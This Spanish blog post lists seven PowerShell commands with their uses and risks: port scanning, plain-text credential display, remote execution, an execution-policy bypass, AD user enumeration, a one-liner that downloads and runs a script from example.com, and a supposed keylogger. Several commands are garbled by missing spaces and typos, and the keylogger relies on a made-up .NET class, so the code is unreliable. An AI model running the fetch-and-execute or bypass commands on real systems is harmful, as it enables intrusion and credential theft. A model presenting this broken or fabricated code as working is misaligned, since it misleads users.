# Guía Técnica de Comandos PowerShell Útiles

- Link: https://binariocero.com/windows/guia-tecnica-de-comandos-powershell-utiles
- Published: 2025-11-21T13:32:34+01:00
- Author: Binario 0

![Loading](https://binariocero.com/wp-content/plugins/page-views-count/ajax-loader-
2x.gif)

Este documento describe, de forma estructurada y técnica, una serie de comandos 
PowerShell que pueden ser utilizados tanto para administración legítima como para
otras actividades. Cada sección incluye una descripción clara del propósito, funcionamiento.

## 1. Escaneo de Puertos Abiertos

**Comando:**

`1..1024 | ForEach-Object { $sock = New-ObjectSystem.Net.Sockets.TcpClient $async
= sock.BeginConnect('localhost', $_, $null, $null) $wait = $async.AsyncWaitHandle.
WaitOne(100, $false); if($sock.Connected) { $_ } ; $sock.Close() }`

**Descripción:** Escanea los primeros **1024 puertos TCP** en la máquina local con
el fin de identificar puertos abiertos.

**Uso habitual:**

 * Auditorías de red y comprobaciones de seguridad.

**Riesgos:**

 * Puede emplearse para reconocimiento previo a un ataque.
 * Genera tráfico detectable en herramientas de monitorización.

## 2. Recuperación de Credenciales Almacenadas

**Comando:**

`$cred = Get-Credential; $cred.GetNetworkCredential() | Select-Object -PropertyUserName,
Password`

**Descripción:** Solicita credenciales al usuario y muestra el **usuario y contraseña**
en texto plano.

**Uso habitual:**

 * Pruebas de automatización.

**Riesgos:**

 * Puede emplearse para **harvesting** de credenciales.
 * Exponer contraseñas en texto plano es una mala práctica.

## 3. Ejecución Remota de Comandos

**Comando:**

`Invoke-Command -ComputerNameTargetPC -ScriptBlock { Get-Process } -Credential (
Get-Credential)`

**Descripción:** Permite ejecutar comandos en un equipo remoto mediante **PowerShell
Remoting**.

**Uso habitual:**

 * Administración remota.

**Riesgos:**

 * Si se comprometen las credenciales, un atacante puede ejecutar comandos remotamente.

## 4. Descarga y Ejecución de Scripts desde URL

**Comando:**

`$url = 'http://example.com/script.ps1'; Invoke-Expression (New-bject Net.WebClient).
DownloadString($url)`

**Descripción:** Descarga y ejecuta un script desde una URL externa.

**Uso habitual:**

 * Automatización y despliegue remoto.

**Riesgos:**

 * Comúnmente utilizado para ejecutar **payloads maliciosos**.
 * Riesgo crítico si la URL o el contenido no están verificados.

## 5. Evadir Políticas de Ejecución

**Comando:**

`Set-ExecutionPolicyBypass -ScopeProcess -Force; .\script.ps1`

**Descripción:** Permite ejecutar scripts ignorando la política de ejecución del
sistema, pero únicamente dentro del proceso actual.

**Uso habitual:**

 * Ejecutar scripts propios o sin firmar.

**Riesgos:**

 * Permite la ejecución de scripts maliciosos.

## 6. Enumeración de Usuarios del Dominio

**Comando:**

`Get-ADUser -Filter * -Properties * | Select-Object -PropertyName, Enabled, LastLogonDate`

**Descripción:** Obtiene una lista de todos los usuarios del dominio y muestra su
estado y última fecha de inicio de sesión.

**Uso habitual:**

 * Auditorías de Active Directory.

**Riesgos:**

 * Información valiosa para movimientos laterales en un ataque.

## 7. Captura de Pulsaciones de Teclado

**Comando:**

`$path = 'C:\temp\keystrokes.txt'; Add-Type -AssemblyNameSystem.Windows.Forms; $
listener = New-ObjectSystem.Windows.Forms.Keylogger; [System.Windows.Forms.Application]::
Run($listener); $listener.Keys | Out-File -FilePath$path`

**Descripción:** Registra pulsaciones de teclado y las almacena en un fichero local.

**Uso habitual:**

 * No existe un uso administrativo legítimo habitual.

**Riesgos:**

 * Se considera **comportamiento malicioso** típico de malware.

## Conclusión

Este manual resume comandos que pueden formar parte de actividades de administración
avanzada, pruebas de seguridad o, en escenarios no autorizados, acciones ofensivas.
Su uso debe quedar restringido a entornos controlados y con permisos explícitos.
